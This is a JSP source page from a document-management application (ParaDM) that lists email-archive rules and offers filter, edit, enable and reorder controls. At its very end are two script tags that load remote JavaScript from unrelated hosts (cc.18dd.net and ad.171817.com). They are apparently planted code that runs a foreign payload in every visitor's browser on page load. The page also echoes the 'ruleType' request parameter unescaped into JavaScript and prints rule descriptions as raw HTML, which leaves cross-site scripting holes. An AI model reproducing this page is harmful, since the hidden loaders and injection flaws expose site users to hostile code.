<%
/*
 * @(#)ListEmailArchiveRule.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */
/**

  ListEmailArchiveRule.jsp

  This is a ListEmailArchiveRule page.  It shows the public email archive rule in ParaDM.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      28/08/2005
    @version            $Revision: 1.43.6.13 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.rules.bean.*"%>
<%@ page import="com.dcivision.rules.RuleOperationConstant"%>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/EmailRuleEngineListHelper.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listEmailArchiveRuleForm" scope="request" class="com.dcivision.dms.web.ListEmailArchiveRuleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "publicRuleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"email_archive.rule.enable", GlobalConstant.NOT_AVAILABLE},
                            {"email_archive.label.rule_name", GlobalConstant.NOT_AVAILABLE},
                            {"email_archive.rule.description",GlobalConstant.NOT_AVAILABLE}

                          };

  String[][] SEARCH_MAP = { {"email_archive.label.rule_name", RuleOperationConstant.RULE_NAME},
                            {"workflow.label.description", RuleOperationConstant.RULE_DETAIL_DEACRIPTION}
                          };

  String[][] SEARCH_TYPE_MAP = { {"common.options.criteria.contains", RuleOperationConstant.STRING_CONTAINS},
                                 {"common.options.criteria.starts_with", RuleOperationConstant.STRING_START_WITH},
                                 {"common.options.criteria.equals", RuleOperationConstant.STRING_EQUALS},
                                 {"common.options.criteria.not_equals", RuleOperationConstant.STRING_NOT_EQUALS}

                               };

  int     COLUMN_OFFSET = 2;
  String ruleType = request.getParameter("ruleType");

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

    String checkFunctionCode = SystemFunctionConstant.DMS_PUBLIC_RULE_SETUP;
    if(!Utility.isEmpty(ruleType)){
      checkFunctionCode = SystemFunctionConstant.DMS_PRIVATE_RULE_SETUP;
    }
%>
<!-- Form Section Begin -->
<html:form action="dms/ListEmailArchiveRule.do" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="ruleType"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ListEmailArchiveRule.js" charset="UTF-8" type="text/javascript"></script>
<script language='javascript'>
<!--
var ruleType;
<% if (ruleType!=null) {%>
  ruleType='<%=ruleType%>';
<%} else {%>
  ruleType='';
<%}%>
-->
</script>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listEmailArchiveRuleForm, '${listEmailArchiveRuleForm.sortAttribute}', '${listEmailArchiveRuleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listEmailArchiveRuleForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!--Main Table Show Begin (control the overall width and height)-->
<table cellpadding="0" cellspacing="0" border="0" width="70%" height="80%" bgcolor="black"><tr><td>
<table cellpadding="3" cellspacing="1" border="0" width="100%" height="100%" >
<tr bgcolor="white" height="50%">
<td width="90%" valign="top">
  <div style="height:380;overflow:auto;border-width:thin"  >
    <!-- Table Showing Record List Begin -->
    <table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%" ><tr><td>

    <table cellpadding="3" cellspacing="1" border="0" width="100%" id="mainTableID">
    <tbody id="rules">
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listEmailArchiveRuleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listEmailArchiveRuleForm.getSortAttribute()%>" sortOrder="<%=listEmailArchiveRuleForm.getSortOrder()%>" copyColumn="false" checkColumn="false"  editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="ruleBaseObject" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <%boolean isHighLight = ((RuleBaseObject)ruleBaseObject).getIsHighLight();%>
    <tr id="<%=((RuleBaseObject)ruleBaseObject).getID()%>" 
        onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)ruleBaseObject).getID()%>);showRuleDescription('<%=TextUtility.escapeJSString( ((RuleBaseObject)ruleBaseObject).getDetailDescription() ) %>','<%=TextUtility.escapeJSString(((RuleBaseObject)ruleBaseObject).getRuleName()) %>');"
        style="cursor:move"
        >
      <!--<input type="hidden" name="basicSelectedID" value="<bean:write name='ruleBaseObject' property='ID'/>">-->
      <td id="td<bean:write name='ruleBaseObject' property='ID'/>" width="30" >
      <div style="display:none">
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='ruleBaseObject' property='ID'/>" onclick="return(false);">
        <logic:permission functionCode='<%=checkFunctionCode%>' right='E'>
          <a href="MaintEmailArchiveRule.do?navMode=E&ID=<bean:write name='ruleBaseObject' property='ID'/>&ruleType=<bean:write name='listEmailArchiveRuleForm' property='ruleType'/> "><html:img src='IconEdit.gif'  align='absmiddle'/></a>
          <html:img src='IconEditDisable.gif'  align='absmiddle'/>
        </logic:permission>
      <bean:write name='ruleBaseObject' property='ruleSeqNo'/>
      </div>

      <% if (((RuleBaseObject)ruleBaseObject).getRuleEnable().equals("Y")){ %>
        <input type='checkbox'  id="c<bean:write name='ruleBaseObject' property='ID'/>"  name='' value='true' checked disabled ='true' >
      <% } else {%>
        <input type='checkbox' id="c<bean:write name='ruleBaseObject' property='ID'/>"  name='' value='false' disabled ='true' >
      <%}%>
        </td>
      <td width="50%">
      <!--
      <a href='#'
      onMouseOver="return overlib('<b style=\'font-size:11px\'><%=TextUtility.escapeJSString( ((RuleBaseObject)ruleBaseObject).getDetailDescription() ) %></b>', WIDTH, 450, BGCOLOR, '#990000', FGCOLOR, '#FFEEFF', CENTER);"
      onMouseOut="return nd();">-->
      <%String colorStyle = "#000000";
      if(isHighLight){
        colorStyle = "#FF6600";
      }
      %>
      <font color="<%=colorStyle%>">
      <bean:write name='ruleBaseObject' property='ruleName'/></font> <!--/a--></td>
      </td>
      <td width="50%">
      <!--<bean:write name='ruleBaseObject' property='detailDescription'/>-->
      <font color="<%=colorStyle%>">
      <%=((RuleBaseObject)ruleBaseObject).getDetailDescription().replaceAll("<br>","")%>
      </font>
      </td>

    </tr>
    </logic:iterate>
    <!-- Record Looping End -->

    <!-- Pager Information Begin -->
    <layout:pager form="listEmailArchiveRuleForm" name='<%=LIST_NAME%>'>
    <tr class="listContent">
      <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET+12%>">
        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td align="center">
              <layout:pagerInfo/>
            </td>
            <td width="200" align="right">
              <nobr><!--<layout:pagerIndex/>--></nobr>
            </td>
          </tr>
        </table>
      </td>
    </tr>
    </layout:pager>
    <!-- Pager Information End -->
  </tbody>
  </table>

  </td></tr></table>
  <!-- MainTable End  -->
  </div>
</td>

<td vAlign="top" align="left" >
  <!--  Button List Table Begin-->
  <table>
    <!-- New Button -->
    <tr>
      <td>
       <html:permissionButton label="common.label.new" functionCode='<%=checkFunctionCode%>' right='I' link="MaintEmailArchiveRule.do?ruleType=${listEmailArchiveRuleForm.ruleType}"/>
     </td>
    </tr>

    <!-- Edit Button -->
    <tr><td width="15">
      <html:permissionButton label="common.label.edit" functionCode='<%=checkFunctionCode%>' right='E' onClick="return onEditRule()"/>
    </td></tr>

    <!-- Enable Button -->
    <tr><td width="15">
      <html:permissionButton label="dms.label.enable" functionCode='<%=checkFunctionCode%>' right='E' onClick="OpAjaxEnableRule(listEmailArchiveRuleForm, true)"/>
    </td></tr>

    <!-- Disable Button -->
    <tr><td width="15">
      <html:permissionButton label="dms.label.disable" functionCode='<%=checkFunctionCode%>' right='E' onClick="OpAjaxEnableRule(listEmailArchiveRuleForm, false)"/>
    </td></tr>

    <!-- Up Button -->
    <tr><td width="15">
      <html:permissionButton label="common.label.up" functionCode='<%=checkFunctionCode%>' right='E' onClick="OpAjaxUpRule(listEmailArchiveRuleForm, true)"/>
    </td></tr>

    <!-- Down Button -->
    <tr><td width="15">
      <html:permissionButton label="common.label.down" functionCode='<%=checkFunctionCode%>' right='E' onClick="OpAjaxUpRule(listEmailArchiveRuleForm, false)"/>
    </td></tr>

    <!-- Delete Button -->
    <tr><td width="15">
      <html:permissionButton label="common.label.delete" functionCode='<%=checkFunctionCode%>' right='D' onClick="return(OpListDelete(listEmailArchiveRuleForm))"/>
    </td></tr>
  </table>
  <!--  Button List Table End-->
</td>
</tr>
<!--Main Table Show End (include button)-->
<tr bgcolor="white"><td colspan="2" valign="top">
  <br><br>
  <!-- Rule Detail Description Begin -->
  <table  cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td>
        <table  cellpadding="0" cellspacing="0" border="0" width="100%">
          <layout:sectionHeader name="email_archive.rule.rule_deacription"/>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>
              <table class="mainTable" cellpadding="0" cellspacing="1" border="0" width="100%"><tr><td>
                <table bgColor='#FFFFFF' cellpadding="3" cellspacing="1" border="0" width="100%">
                  <tr>
                     <td><b><span id='ruleDescriptionSpan'><bean:message key='email_archive.rule.no_select_rule'/></span></b></td>
                  </tr>
                </table>

              </td></tr></table>
            </td>
          </tr>  </table>
      </td>
    </tr>
  </table>
  <!-- Rule Detail Description End -->
</td></tr>
</table>
</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language="JavaScript">
function onKeyPress(){
  if(event.keyCode==13) {
    OpList(listEmailArchiveRuleForm, '<bean:write name='listEmailArchiveRuleForm' property='sortAttribute' replace=''/>', '<bean:write name='listEmailArchiveRuleForm' property='sortOrder' replace=''/>');
  }
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>